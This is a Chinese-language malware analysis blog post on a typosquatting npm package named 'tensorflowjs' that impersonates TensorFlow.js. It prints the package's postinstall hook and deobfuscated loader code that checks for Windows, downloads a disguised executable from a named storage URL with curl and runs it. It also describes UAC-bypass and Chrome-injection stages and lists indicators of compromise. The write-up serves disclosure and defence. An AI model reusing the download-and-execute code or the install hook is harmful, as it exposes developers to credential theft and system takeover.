目录
一个复杂的 typosquatting(域名仿冒)攻击被发现针对 TensorFlow.js 开发者,通过 npm 安装后脚本分发高度混淆的多阶段恶意软件。在本博客中,我们将提供该恶意软件的技术细节。
概要
发现了一个名为 [email protected](张冠李戴)的恶意 npm 包,企图冒充合法的 @tensorflow/tfjs 包。该包包含高度混淆的 JavaScript 恶意软件,通过名为 thanksinstall.js 的安装后脚本在安装期间自动执行。该恶意软件采用多层混淆技术,包括十六进制编码、函数名混淆和字符码替换,以逃避检测。该包由一个可疑账户 [email protected] 发布。
已观察到的恶意软件行为:
- 在
npm install期间执行thanksinstall.js - 从
https://storage.googleapis.com/nainaraz/success.png下载并执行一个134MBPE32+ 可执行文件 success.png是一个vercel/pkg打包的可执行文件,包含 Node.js 应用程序及嵌入式可执行文件- 利用已知的 UAC 绕过技术在
coremodule.dll权限级别执行有效载荷 - 执行
grabbar/bin/chrome_inject_x64.exe注入到 Chrome 进程,可能旨在绕过 ABE
注意: 分析工作正在进行中。随着调查的深入,我们将更新此博客文章提供更多细节。
检测
恶意包 [email protected] 由我们的自动化分析系统发现。我们的团队随后进行了分析,确认了恶意有效载荷。
- 包名称:
tensorflowjs(冒充@tensorflow/tfjs) - 版本:0.7.0
- 发布者:
graphite7199,邮箱[email protected] - 目标:安装 TensorFlow.js 包的 AI/ML 开发者
- 攻击向量:通过 npm 安装后脚本自动执行,下载并执行 PE32+ 可执行文件,针对 Windows 系统
有什么影响?
我们的分析识别出通过 thanksinstall.js 文件中高度混淆的 JavaScript 代码传递的复杂恶意软件。该恶意软件专门针对 Windows 系统,并包含多种规避技术以避免检测。
已知的恶意有效载荷行为包括:
- 凭据窃取(MITRE TA0006)
- 屏幕截图(MITRE T1113)
- 释放并执行恶意可执行文件(MITRE T1204.002)
- Discord 服务器通信(MITRE T1567.004)
技术影响分析
| 组件 | 大小 | 用途 |
|---|---|---|
thanksinstall.js | 14,883 字节 | 具有安装后执行功能的主要恶意软件有效载荷 |
index.js | 94,728 字节 | 诱饵消息 |
package.json | 275 字节 | 包含恶意安装后钩子 |
README.md | 5,743 字节 | 可能是从合法包复制用于伪装 |
检测到的混淆技术
该恶意软件采用多种复杂的混淆层:
- 十六进制字符串混淆:关键函数和字符串以十六进制编码
- 函数名混淆:所有变量使用
_0x前缀的随机标识符 - 字符码替换:通过自定义密码进行整数到字符串的转换
- 控制流混淆:加密字符串解密例程
SafeDep 如何保护开发者?
SafeDep 开源工具尤其是 vet 和 pmg 可以帮助开发者防范恶意包及其他开源软件供应链攻击。在本案例中,我们的自动化系统因多个信号将该包标记为可疑,包括识别到 typosquatting 包中的恶意代码和意图。
例如,当尝试安装被入侵的包时,pmg 会向开发者发出警报。
➜ ~ alias npm="pmg --verbose npm"
➜ ~ npm install [email protected]
ℹ️ Resolving dependencies for 1 package(s) ... ⠸
ℹ️ Analyzing 1 dependencies for malware ... ⠦
🚨 Suspicious package(s) detected: 1
⚠️ [email protected]
Package is likely malicious due to code obfuscation, arbitrary command execution
via \`child_process.spawn\`, and suspicious \`postinstall\` script.
Reference: https://platform.safedep.io/community/malysis/01K2EEBXJG6ZXTYAZ2CV90XY3C
Do you want to continue with the installation? (y/N)同样,当尝试通过 PR 添加任何被入侵的包时,vet 会在 CI/CD 管道中向用户发出警报。
技术分析
我们的分析基于 [email protected],文件结构如下:
package/
├── package.json (275 bytes)
├── index.js (94,728 bytes)
├── thanksinstall.js (14,883 bytes)
└── README.md (5,743 bytes)package.json 揭示了恶意安装后钩子:
{
"name": "tensorflowjs",
"version": "0.7.0",
"description": "Node.js moduIe for using TensorFIow graphs and modeIs",
"main": "index.js",
"scripts": {
"postinstall": "node thanksinstall.js"
},
"author": "グラファイト",
"license": "MIT"
}分析 thanksinstall.js
thanksinstall.js 文件包含主要的恶意软件有效载荷。虽然高度混淆,但我们的分析识别出了几个关键组件:
混淆结构
该文件以一个复杂的混淆函数开头,使用十六进制编码字符串和字符码替换:
function _0x3910(_0x57ed37, _0x28d098) {
var _0x671258 = _0x4a23();
return (
(_0x3910 = function (_0x285c0e, _0x46f836) {
_0x285c0e = _0x285c0e - (0x3 * -0x4c + 0x917 + -0x2 * 0x3d9);
var _0x2e8565 = _0x671258[_0x285c0e];
// ... complex deobfuscation routine
}),
_0x3910(_0x57ed37, _0x28d098)
);
}手动分析揭示了代码的一些有趣部分:
检查 Windows 平台:
if (_0x5bc963.platform() !== 'win32') {
process.exit(0);
}下载并执行第二阶段有效载荷:
const _0x509b60 = _0x3e9485.join(_0x5bc963.tmpdir(), 'installthanks.png');
const _0x20c1f1 = ['-L', 'https://storage.googleapis.com/nainaraz/success.png', '-o', _0x509b60];
const _0x3e7657 = {
windowsHide: true,
};
function _0x2ac5a0(_0x3ad262, _0x1d30ef, _0xaf41b6, _0x4b31fc, _0x548376) {
return _0x2935(_0x3ad262 - 0xa, _0x1d30ef);
}
const _0x2da3a9 = _0x1a6125('C:\\Windows\\System32\\curl.exe', _0x20c1f1, _0x3e7657);这继而执行以下命令:
- 从
https://storage.googleapis.com/nainaraz/success.png下载 PE32+ 可执行文件 - 下载到
%TEMP%\installthanks.png - 使用
cmd.exec /c start <path to executable>执行下载的可执行文件
➜ wget https://storage.googleapis.com/nainaraz/success.png
➜ file success.png
success.png: PE32+ executable (GUI) x86-64, for MS Windows
➜ sha256 success.png
SHA256 (success.png) = 863d274bbeb22ab969f742a06d89bdf0ababb99fdeb074a0fd9057f28b1ef257分析 index.js
index.js 文件包含额外的混淆代码,似乎作为诱饵。它遵循类似的混淆模式,但在末尾包含一个看似合法的 console.log 语句:
console[_0x117039(_0x4d7185._0x2b9c21,-_0x4d7185._0x55ffff,
-_0x4d7185._0x579028,-_0x4d7185._0x4e2e46,-_0x4d7185._0xbfce91)](
// ... extremely long obfuscated string that when decoded appears to output:
// "Thanks for installing our package! Please report any issues on GitHub."这似乎是使该包看起来合法的尝试——在后台执行真正的恶意软件时显示一条无害的消息。
反混淆后的代码揭示了以下内容:
function _0x5447e2() {
console.log(
"“Movies that claim to recreate the past” are 90% fantasy filtered through modern eyes.\n\nPeriod dramas and historical films are full of lies.\nWhy? Because they're made by modern people for modern audiences.\nThat means they inevitably include modern moral values like:\n\nExample 1: Respect for Women\nIn many historical societies, women were treated like property.\nBut in today’s films, you get “strong independent heroines” or “warrior princesses” as a given.\nTruth is, a woman acting like that back then? She’d have been executed on the spot.\n\nExample 2: Value of Human Life\nIn historical wars, massacring prisoners was standard.\nYet in modern films, you hear lines like “Don’t kill them” or “Every life is precious.”\nThat’s not history—that’s modern humanism in costume.\n\nExample 3: Equality and Justice\nCaste systems, rigid social hierarchies, and slavery were the norm.\nStill, modern dramas will push “we're all equal” or “love that transcends class” as emotional highlights.\n\nWhy does this happen?\nSimple:\nIf you truly portrayed the past as it was, modern viewers would be disgusted.\nThey’d see every character as a vile, irredeemable piece of trash.\n\nUnless you inject modern morality, the characters become impossible to empathize with.\n\nSo what’s the result?\nWe’re not watching a “recreation.”\nWe’re watching a modern fantasy of an idealized past.\n\nReal history?\nIt was brutal, unfair, oppressive, and life was cheap.\nPortray it accurately, and even an R-rating wouldn’t be enough.\n\n "
);
}
_0x5447e2();分析 Stage2 二进制文件
第二阶段二进制文件由 thanksinstall.js 文件从 https://storage.googleapis.com/nainaraz/success.png 下载。
第二阶段二进制文件是一个 PE32+ 可执行文件,由 thanksinstall.js 文件下载并执行。我们首先查看二进制文件中一些有趣的字符串。
C:\Users\kenken\Downloads\waruikoto\node_modules\speaker\build\Release\binding.pdb
C:\snapshot\waruikoto\node_modules\glob\dist\commonjs\index.js
Winnie the Pooh from China farted! oh no! Your computer has been infected with the covid 19! https://discord.gg/8WYA8z2xf4查看 strings(1),可以看出该可执行文件是通过将 Javascript 文件与 Node.js 和加载器捆绑创建的,可能使用 vercel/pkg 创建。vercel/pkg 中的 bootstrap.js 的存在是一个强有力的指标。
为 vercel/pkg 构建自定义提取器有点棘手,但我们能够提取 Javascript 文件:
➜ success-extracted git:(main) ✗ ls -al waruikoto/loader-uacbypass
total 206128
drwxr-xr-x 8 dev wheel 256 13 Aug 09:27 .
drwxr-xr-x 4 dev wheel 128 13 Aug 09:27 ..
-rw-rw-rw- 1 dev wheel 56840015 13 Aug 09:27 cliui.png
-rw-rw-rw- 1 dev wheel 48305652 13 Aug 09:27 cliui2.png
-rw-rw-rw- 1 dev wheel 107520 13 Aug 09:27 coremodule.dll
-rw-rw-rw- 1 dev wheel 161144 13 Aug 09:27 index.js
-rw-rw-rw- 1 dev wheel 506 13 Aug 09:27 package.json
-rw-rw-rw- 1 dev wheel 108544 13 Aug 09:27 sigma2.exe查看文件类型
➜ loader-uacbypass git:(main) ✗ file *
cliui.png: PE32+ executable (GUI) x86-64, for MS Windows
cliui2.png: PE32+ executable (GUI) x86-64, for MS Windows
coremodule.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
index.js: data
package.json: JSON data
sigma2.exe: PE32+ executable (console) x86-64, for MS Windows该有效载荷是一个 Node.js 应用程序,包含自己的 package.json:
{
"name": "logo",
"version": "1.0.0",
"bin": "index.js",
"pkg": {
"targets": ["node16-win-x64"],
"scripts": ["index.js"],
"assets": ["cliui.png", "cliui2.png", "sigma2.exe", "coremodule.dll"]
},
"files": ["index.js", "cliui.png", "cliui2.png", "sigma2.exe", "coremodule.dll"],
"dependencies": {
"child_process": "^1.0.2"
},
"scripts": {
"start": "node index.js",
"build": "pkg ."
}
}我们在 sigma2.exe 中找到了字符串 C:\Users\kenken\Downloads\QuickAssist_UAC_Bypass-main\QuickAssist_UAC_Bypass-main\x64\Release\QuickAssist_UAC_Bypass.pdb,表明该可执行文件是一个 Windows UAC 绕过工具,可能是 QuickAssist_UAC_Bypass。coremodule.dll 可能是通过 UAC 绕过执行的.payload,以更高权限执行其他有效载荷。
嵌入的 cliui.png 和 cliui2.png 反过来是 vercel/pkg 打包的可执行文件,其中又包含多个可执行文件。
cliui.png
➜ waruikoto git:(main) ✗ ls -al
total 2872
drwxr-xr-x 10 dev wheel 320 13 Aug 09:38 .
drwxr-xr-x 6 dev wheel 192 13 Aug 09:38 ..
-rw-rw-rw- 1 dev wheel 700494 13 Aug 09:38 beep.wav
-rw-rw-rw- 1 dev wheel 512 13 Aug 09:38 boot.bin
-rw-rw-rw- 1 dev wheel 200704 13 Aug 09:38 coremodule.exe
-rw-rw-rw- 1 dev wheel 107008 13 Aug 09:38 coremodule3.exe
-rw-rw-rw- 1 dev wheel 430736 13 Aug 09:38 index.js
drwxr-xr-x 162 dev wheel 5184 13 Aug 09:38 node_modules
-rw-rw-rw- 1 dev wheel 925 13 Aug 09:38 package.json
-rw-rw-rw- 1 dev wheel 12288 13 Aug 09:38 sigma.execliui2.png
➜ cliui2-extracted git:(main) ✗ ls -al waruikoto/grabber
total 280
drwxr-xr-x 7 dev wheel 224 13 Aug 09:38 .
drwxr-xr-x 4 dev wheel 128 13 Aug 09:38 ..
drwxr-xr-x 3 dev wheel 96 13 Aug 09:38 bin
-rw-rw-rw- 1 dev wheel 2416 13 Aug 09:38 dpapi-wrapper.js
-rw-rw-rw- 1 dev wheel 132376 13 Aug 09:38 index.js
drwxr-xr-x 94 dev wheel 3008 13 Aug 09:38 node_modules
-rw-rw-rw- 1 dev wheel 428 13 Aug 09:38 package.json结论
tensorflowjs typosquatting 攻击代表了一种复杂的供应链威胁,专门针对 AI/ML 开发社区。通过冒充流行的 TensorFlow.js 库,攻击者企图通过自动执行高度混淆的恶意软件来入侵开发者环境。
vet 和 pmg 等工具旨在保护开发者免受因开源代码中的恶意代码而被黑客入侵的风险。除特定工具外,我们建议所有软件开发团队采取适当的防护措施,在其 SDLC 的各个阶段防范恶意开源包。
附录
妥协指标(IOC)
- 包名称:
[email protected] - 发布者:
graphite7199 - 邮箱:
[email protected] - Discord 服务器
https://discord.gg/8WYA8z2xf4 - SHA256 (thanksinstall.js):10f9a1d620fa82e991977fcbb9ad20da3193f8a2f540bdfb80a37251bb290ae0
- SHA256 (index.js):6e7f9a3c65fb053f1f5aa0a152f8490ed4a019573b54acf6e3f7d91daba973b8
- SHA256 (waruikoto/loader-uacbypass/cliui.png):d544e4d4b16533a51e69b38b66251afef91b8ddecd5b2bbc0134d6929c17bd1e
- SHA256 (waruikoto/loader-uacbypass/cliui2.png):37d785cce4b52cae470260d140918c5a7e5034f66ca8c7f1b1df005ad9a0ee0a
- SHA256 (waruikoto/loader-uacbypass/coremodule.dll):fdf420be2bcde513a982111d3f8ca57b4d96ced11ada2361b5943c8fda386004
- SHA256 (waruikoto/loader-uacbypass/index.js):6a386798a4cf028a3e9683aa85156de64f5106912ef44df3db767299784abee1
- SHA256 (waruikoto/loader-uacbypass/package.json):33ef141b01d700b9c1072354f8b7abb20685485f96223f18d123aed5a38507f2
- SHA256 (waruikoto/loader-uacbypass/sigma2.exe):801e63b9a5794091db3099b5e0d4ab37f5a0f511821af8c67492ba63d1b2eadb
- SHA256 (waruikoto/node_modules/child_process/package.json):74ccc830594321078498fbe030c07fe617edaf66f6e57cfd60dce1d619e5a59a
- SHA256 (waruikoto/sigma.exe):3d3b3b1f7829221fa8945c3161f7f9d373041abac0368db0a60f726e015fab60
- SHA256 (waruikoto/beep.wav):7085691597afb8dad2cdd73b937292129e3f4b71569d758c879a550add66f100
- SHA256 (waruikoto/boot.bin):3aecb1a242360fa76c47ecc4377ddfeedae9f5cb8cc21c43e1f13bf9d8d94850
- SHA256 (waruikoto/coremodule.exe):bedf23fb5c555a2de2cc5a037fe18e5379768e3c0b166a60f1af8d02e43a5bce
- SHA256 (waruikoto/coremodule3.exe):ac311b153a725f773791d062b26aa21388b6131f4110d7b20a240eb005e1d9c1
- SHA256 (waruikoto/index.js):d3c9082ae158e4ab1e5889258a0245d3d708194243563fbf73091a96ec6f7749
- SHA256 (grabbar/bin/chrome_inject_x64.exe):d46bb31dc93b89d67abffe144c56356167c9e57e3235bfb897eafc30626675bb
各个嵌入式可执行文件中的其他有趣字符串:
C:\Users\kenro\source\repos\
C:\Users\kenro\source\repos\mouseandkeydestroyer\x64\Release\mouseandkeydestroyer.pdb
Winnie the Pooh from China farted! oh no! Your computer has been infected with the covid 19! https://discord.gg/8WYA8z2xf4参考资料
-
https://platform.safedep.io/community/malysis/01K2EEBXJG6ZXTYAZ2CV90XY3C
-
https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
-
npm
-
oss
-
malware
-
tensorflow
SafeDep 博客最新动态
关注以获取开源安全与工程方面的最新更新和见解